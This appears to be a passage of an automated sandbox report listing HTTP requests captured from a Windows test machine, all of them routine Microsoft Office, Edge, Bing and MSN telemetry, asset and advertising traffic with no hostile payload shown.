Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239401309282_1PNNGZBU9L4ID4Q55&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015533Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=9e4fcc7785aa4f9dbd5fcb3ce4a42187&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597337&metered=false&nettype=ethernet&npid=sc-88000045&oemName=xxwgim%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=xxwgim20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAbmC052WmI0pNI/bdLeJUMwBCdJIhxxfMAmyJ9sh6VNZm94H0/15YJtSzwUqn20Upwd5FV8IuFfZgFMTtlZcDnNXrPIkFG4bXSmzp7wOVW/v0Nqk7q0qk//knZS0NQyXU0Svf3dpIlhuWXWExLvqHC//Sb+ZFJN8kPI3z8gcvXYjP7oxzqqKiAqzvyG7WpzN+ddmm5a8+u7u1zdJIam9etrgjAZppwbtzAlbCJv9YsNSKY/JkWHmRCpsFeRWU0K65586em66NHnz1WbhBJNlD2LRVxMMjKVtNlwcB+KzqNrL7LFIs1wTwUA0p4cy9fJtoe50tZbNNCdRU1cQMQY5zcgQZgAAEGp9Qlz/wWITHsNKn67BbRCwAf9W6l0KBptXKjwan4bt6Jq75Sd7xvr10UCnos27/nfrcMQrsXeVoDPqY+P7nUtMQuddYXImTFaWEs8q2g7Eb9O7QCTXuZDw50Xwv0uC02M8ppYWlxltMnDUHhFfaHWFfMFQKHovAOflgwrI8VY+cUzSdX4i946K+4lAVzlFmBXk22VYrhE4v74P4H4AyBRjJK35WuLSYr3bp0kD+0lqAZNoQkLM3dM1B7S//ABSdK8myhlt+7RWe4ZOVYG3LHPjJl4sOCW/nXKav3Y0r/amWXm34ukwOt9v3aflP/PFv8Qm1B4wV4p5v9D1UsWB0OYg5fNkC8yTky60BaJua0HqcvJj1zaReEz7+nSa+HGHvkFefmema0VPyd4fXkRSLhYyvPU1Tp3UoRdPp7n+sq9X8P7afomrmQWLGvbcM+syWhO8A5x3lkFVm4nARxBW8rIsNDXRwCj2rqR4O8OchB6JWVeEY4TniJAQ108Lkdr+3Ed+9/Gje/6p3FNe7wIZkEOEVSjH+h30J3vesTpdnM98dEKAl73KD2MssiJgb6wgiM/v4G/QwTBmJPccsCxkJkvPQdcB&p=Cache-Control: no-cacheMS-CV: cjz37Dm/VUu5yVEQ.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1Host: assets2.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015539Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=4b00cf3f63e1431faeaa2803b8fc19ac&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597337&metered=false&nettype=ethernet&npid=sc-88000045&oemName=xxwgim%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=xxwgim20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAbmC052WmI0pNI/bdLeJUMwBCdJIhxxfMAmyJ9sh6VNZm94H0/15YJtSzwUqn20Upwd5FV8IuFfZgFMTtlZcDnNXrPIkFG4bXSmzp7wOVW/v0Nqk7q0qk//knZS0NQyXU0Svf3dpIlhuWXWExLvqHC//Sb+ZFJN8kPI3z8gcvXYjP7oxzqqKiAqzvyG7WpzN+ddmm5a8+u7u1zdJIam9etrgjAZppwbtzAlbCJv9YsNSKY/JkWHmRCpsFeRWU0K65586em66NHnz1WbhBJNlD2LRVxMMjKVtNlwcB+KzqNrL7LFIs1wTwUA0p4cy9fJtoe50tZbNNCdRU1cQMQY5zcgQZgAAEGp9Qlz/wWITHsNKn67BbRCwAf9W6l0KBptXKjwan4bt6Jq75Sd7xvr10UCnos27/nfrcMQrsXeVoDPqY+P7nUtMQuddYXImTFaWEs8q2g7Eb9O7QCTXuZDw50Xwv0uC02M8ppYWlxltMnDUHhFfaHWFfMFQKHovAOflgwrI8VY+cUzSdX4i946K+4lAVzlFmBXk22VYrhE4v74P4H4AyBRjJK35WuLSYr3bp0kD+0lqAZNoQkLM3dM1B7S//ABSdK8myhlt+7RWe4ZOVYG3LHPjJl4sOCW/nXKav3Y0r/amWXm34ukwOt9v3aflP/PFv8Qm1B4wV4p5v9D1UsWB0OYg5fNkC8yTky60BaJua0HqcvJj1zaReEz7+nSa+HGHvkFefmema0VPyd4fXkRSLhYyvPU1Tp3UoRdPp7n+sq9X8P7afomrmQWLGvbcM+syWhO8A5x3lkFVm4nARxBW8rIsNDXRwCj2rqR4O8OchB6JWVeEY4TniJAQ108Lkdr+3Ed+9/Gje/6p3FNe7wIZkEOEVSjH+h30J3vesTpdnM98dEKAl73KD2MssiJgb6wgiM/v4G/QwTBmJPccsCxkJkvPQdcB&p=Cache-Control: no-cacheMS-CV: cjz37Dm/VUu5yVEQ.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8wY0kH5kmFgIHq8zIt9NMvjVUCUw2Jnjj3TD0VEW3ZfO1p5HdPqPTDYUB80kFRMl1evRjnP5lhcm0BI2tJtB_VLXhD0MdqRwBKLEYp_FGf4z-UnVyq7SiCkKOS7WK7k7SBBQ8uKQ0QHWAGNIMgeTZubbw-dFauwoPK6JRkuRctOamqg9z%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZmNvcGlsb3QubWljcm9zb2Z0LmNvbSUyZiUzZnElM2R3aGF0JTJiY2FuJTJiY29waWxvdCUyYmRvJTJiYW5kJTJid2h5JTJiaXMlMmJpdCUyYmJldHRlciUyYnRoYW4lMmJ0cmFkaXRpb25hbCUyYnNlYXJjaCUyNmZvcm0lM2RNNTAwRVIlMjZPQ0lEJTNkTTUwMEVS%26rlid%3Df6c8d46b495014025cf8b32a7f57be17&TIME=20241123T015536Z&CID=531174684&EID=531174684&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732326943674&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=25272F1794486D883F453A57953A6C20&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8wY0kH5kmFgIHq8zIt9NMvjVUCUw2Jnjj3TD0VEW3ZfO1p5HdPqPTDYUB80kFRMl1evRjnP5lhcm0BI2tJtB_VLXhD0MdqRwBKLEYp_FGf4z-UnVyq7SiCkKOS7WK7k7SBBQ8uKQ0QHWAGNIMgeTZubbw-dFauwoPK6JRkuRctOamqg9z%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZmNvcGlsb3QubWljcm9zb2Z0LmNvbSUyZiUzZnElM2R3aGF0JTJiY2FuJTJiY29waWxvdCUyYmRvJTJiYW5kJTJid2h5JTJiaXMlMmJpdCUyYmJldHRlciUyYnRoYW4lMmJ0cmFkaXRpb25hbCUyYnNlYXJjaCUyNmZvcm0lM2RNNTAwRVIlMjZPQ0lEJTNkTTUwMEVS%26rlid%3Df6c8d46b495014025cf8b32a7f57be17&TIME=20241123T015537Z&CID=531174684&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=0A1DB144AF32646934C4A404AEB865AB; _EDGE_S=SID=3FF243F2211D65B0383256B22005645F; MR=0
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=25272F1794486D883F453A57953A6C20&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=84a932eafc5f4fcfab6811ac71edf3bf HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=25272F1794486D883F453A57953A6C20; _EDGE_S=F=1&SID=16525D227A1E6A2C39BB48627BD36B7D; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
